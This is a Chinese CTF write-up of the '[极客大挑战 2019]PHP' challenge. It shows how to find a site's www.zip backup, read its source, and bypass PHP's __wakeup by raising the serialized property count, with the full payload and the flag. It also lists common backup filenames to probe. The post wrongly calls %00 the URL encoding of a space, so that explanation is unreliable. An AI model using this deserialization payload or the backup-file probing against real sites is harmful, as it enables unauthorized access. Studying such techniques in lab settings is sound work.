您现在的位置是:首页 >技术教程 >[极客大挑战 2019]PHP网站首页技术教程

[极客大挑战 2019]PHP

JUN12JUN12 2026-03-26 00:01:05
简介[极客大挑战 2019]PHP

这道题打开之后是一个动态的小猫 题中告诉我们

因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯 不愧是我!!!

所以我们查看一下网页备份文件 (www.zip)

这里有个flag文件 但是我访问进去用他给的答案是错的 不可能这么简单

再访问index.php

再index.php的文件里面 我们发现 这里进行了get传参并且包含了class.php文件

还是用unserialize将select进行反序列化操作

又访问了class文件

php代码 我们简单看一下 发现username是admin password是100

这里面_wakeup强行将username的值变成了guest

所以我们需要想方法绕过 这里我们使用序列化操作 将这串php代码转化成文本字符串(serialize)

<?php
 
class Name{
    private $username = 'admin';
    private $password =  '100';
}
 
$select = new Name();
$res = serialize(@$select);
echo $res
?>

我们把payload进行编译得到了相应的文本

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

这里我们进行提交 但是还是显示错误

这里我们有两个问题是 网站将我们所输入的空格给过滤了 我们需要绕过一下 还有就是只有当成员属性数大于实际属性数时 才能绕过_wakeup 所以我们还得将成员数2改为3

空格的url编码是%00

重新构造的payload为O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

就得到了flag{c7751580-9bc6-4e7b-a4e9-0c2dc3bdfa99}

总结

常见的网站源码备份文件后缀: tar.gz,zip,rar,tar

常见的网站源码备份文件名: web,website,backup,back,www,wwwroot,temp

过滤_wakeup时 成员属性数需要大于实际属性数

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。